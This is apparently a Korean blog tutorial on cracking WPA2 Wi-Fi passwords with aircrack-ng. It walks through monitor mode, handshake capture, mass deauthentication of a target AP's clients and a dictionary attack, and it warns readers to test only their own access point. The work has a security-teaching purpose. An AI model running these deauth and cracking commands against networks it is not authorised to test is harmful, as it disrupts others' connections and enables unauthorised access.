[Kali] wifi 비밀번호 crack 실습

Preview

Aircrack-ng는 WiFi 네트워크 보안을 평가하기 위한 도구의 모음이다. 모니터링, 공격, 테스트 등에 초점이 맞춰져 있다. 패킷 캡처 및 텍스트 파일로 내보내기, 패킷 주입 공격을 통한 인증해제, 재생 공격(Replay Attack) 등도 가능하다. 사용자가 직접 스크립트 작성을 통한 작업도 수행할 수 있다. Linux를 주로 사용하지만 OSX나 FreeBSD등 여러 운영체제에서 사용이 가능하다.

공식 홈페이지에서는 Windows에서도 사용이 가능하다고 명시되어 있지만 다른 운영체제를 선택하는 편이 훨씬 쉽게 작업을 시작할 수 있다.

1.6버전에 많은 성능 개선이 있었다. 파이썬 2버전의 지원 종료로 인해 파이썬 3을 지원하도록 변경되었다. Aerodump-ng 기능에 변화가 있으며 WPA3와 OWE를 확인할 수 있다. 이제 802.11n/ac를 고려하며 54Mbit 속도 제한이 사라졌다.

릴리즈 노트는 아래의 페이지에서 확인 가능하다.

https://aircrack-ng.blogspot.com/2020/01/aircrack-ng-16.html

Install the aircrack-ng

  • Kali Linux를 사용하는 경우 기본 패키지로 함께 제공하며 명령어를 바로 사용할 수 있다.
  • OSX

homebrew를 통해 의존성 있는 패키지들을 관리할 수 있으며 aircrack 또한 쉽게 설치가 가능하다.

brew install aircrack-ng

aircrack-ng 실행을 통해 설치를 확인할 수 있다.

실행이 되지 않는다면 homebrew로 설치한 바이너리를 셸에서 찾지 못하는 것이다.

심볼릭 링크를 등록해서 찾을수 있도록 한다.

sudo ln -s /usr/local/Cellar/aircrack-ng/1.6/bin/aircrack-ng /usr/local/bin/aircrack-ng

aircrack-ng 하위 경로의 숫자는 버전 명을 의미한다. 설치 시점에 따라 달라질 수 있으니 직접 경로 확인 후에 적절한 경로명으로 변경해주도록 한다.

설치가 완료되었다면 아래의 명령을 실행시켜 심볼릭 링크를 생성한다.

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

Find a target to crack

실습을 위한 도구의 준비를 모두 마쳤다. wifi를 켜고 주변의 와이파이 AP(Access Point)를 탐색한다.

airport-s

사용 가능한 wifi를 목록으로 보여준다. SSID(Service Set Identifier), BSSID(Basic Service Set Identifier), 신호 세기(RSSI), 채널(Channel), 사용중인 암호화 알고리즘(Security) 등을 보여준다. 실습을 위해 준비한 SSID를 찾아서 기록해 둔다.

신호의 세기는 숫자의 절대값이 작을 수록 더 높은 세기를 나타낸다. -93보다 -39의 AP가 더 신호가 세다는 뜻이다.

정보통신망 침해 범죄

정당한 접근 권한 없이 또는 허용된 접근 권한을 넘어 컴퓨터 또는 정보통신망(컴퓨터 시스템)에 침입하거나 시스템.데이터 프로그램을 훼손.멸실.변경한 경우 및 정보통신망(컴퓨터 시스템)에 장애(성능저하.사용불능)를 발생하게 한 경우

※고도의 기술적인 요소가 포함되며, 컴퓨터 및 정보통신망 자체에 대한 공격행위를 수반하는 범죄로, 정보통신망을 매개한 경우 및 매개하지 않은 경우도 포함

 

타인 및 다른 시설의 AP를 대상으로 해서는 안되며 반드시 본인이 관리하는 AP에 대해서만 실습하도록 한다.

사용한 암호화 알고리즘의 보안 강도에 따라 패스워드를 크랙하는 방법이 달라진다. 현재 가장 많이 보이는 WPA2+AES 알고리즘의 경우 알고리즘에 대한 공격보다 Handshaking 과정의 패킷을 캡쳐하여 복호화를 시도하는 Deauth+Bruteforce 공격이 일반적이다.

Step

  1. 현재 AP와 통신중인 단말들은 이미 패스워드를 알고 있기 때문에 통신 중이다.

  2. 공격자는 강제로 Deauth(연결해제) 패킷을 네트워크에 뿌려 1번의 단말을 강제로 연결 해제시킨다.

    연결 해제 패킷은 다른 패킷보다 우선순위가 높기 때문에 연결 해제에 성공한다.

  3. 단말은 연결이 끊긴 네트워크에 대해 이미 알고 있던 패스워드를 가지고 다시 AP에게 인증을 요청하고 연결을 시도한다.

  4. 공격자는 3의 패킷을 캡처(Capture)한다.(3에는 패스워드로 암호화한 인증 패킷이 포함된다.)

  5. 패킷을 수집했으므로 공격자는 Bruteforce 공격을 통해 패킷이 복호될 때까지 반복한다.

  6. 복호화가 되는 키를 찾는다.

  7. AP에 연결한다.

Crack

외부 어댑터를 사용하는 경우 어댑터를 monitor모드로 변경한다. 모든 명령은 root 권한으로 실행한다.

# airmon-ng start [interface] // 무선 랜카드를 Monitor 모드로 변경
# airodump-ng [interface] //주변의 네트워크 트래픽 캡처
# airodump-ng --bssid [target APs BSSID] -c [channel] -w [filename] [interface]
//공격하고자 하는 AP 선정 후 트래픽 저장
# aireplay-ng --deauth 100 -a [target APs BSSID] [interface] // 타겟 AP에 연결해제 공격(100회)
# aircrack-ng [packet dump file] -w [dictionary file] // 사전 공격 수행

airodump-ng wlan1 결과

sudo airodump-ng -c 9 --bssid 88:36:11:22:33:44:55:66 -w [filename] [interface]

sudo aireplay-ng --deauth 100 -a 88:36:11:22:33:44:55:66 [interface]

deauth 패킷을 전송해서 재연결을 수행할 때 airdump-ng 셸에 handshake 패킷이 캡쳐됨을 확인할 수 있다.

WPA handshake

aircrack-ng [packet filename] -w [dict filename]

 

준비한 패스워드 딕셔너리 파일의 범위에 따라 공격 성공 여부가 달라질 수 있다. 취약한 비밀번호의 사용은 이 과정에서 빨리 크랙될 것이고 특수문자와 의미없는 문자열의 조합은 공격에 걸리는 시간을 오래 걸리게 하거나 불가능하게 할 수 있다.

반응형